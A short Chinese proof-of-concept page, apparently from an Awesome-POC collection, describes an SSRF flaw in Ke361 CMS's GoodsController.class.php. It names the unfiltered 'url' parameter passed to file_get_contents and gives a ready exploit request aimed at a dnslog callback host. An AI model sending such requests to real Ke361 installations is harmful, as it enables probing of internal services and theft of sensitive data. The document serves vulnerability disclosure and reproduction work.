Awesome-POC/CMS漏洞/Ke361 GoodsController.class.php SSRF漏洞.md

35 lines
710 B
Markdown
Raw Normal View History

2022-05-18 16:23:08 +08:00
# Ke361 GoodsController.class.php SSRF漏洞
## 漏洞描述
Ke361 GoodsController.class.php URL参数存在 SSRF漏洞通过漏洞可以获取敏感信息
## 漏洞影响
```
Ke361
```
## 环境搭建
https://gitee.com/jcove/ke361
## 漏洞复现
存在漏洞的文件为 `Application/Home/Controller/GoodsController.class.php`
2022-12-05 11:09:28 +08:00
![image-20220518153445715](./images/202205181534788.png)
2022-05-18 16:23:08 +08:00
URL参数无任何过滤传入 file_get_contents函数造成SSRF漏洞构造请求
```
POST /index.php?s=/Goods/ajGetGoodsDetial
url=http://6si2gt.dnslog.cn
```
2022-12-05 11:09:28 +08:00
![image-20220518153459466](./images/202205181534535.png)
2022-05-18 16:23:08 +08:00
dnslog接收到请求
2022-12-05 11:09:28 +08:00
![image-20220518153527567](./images/202205181535619.png)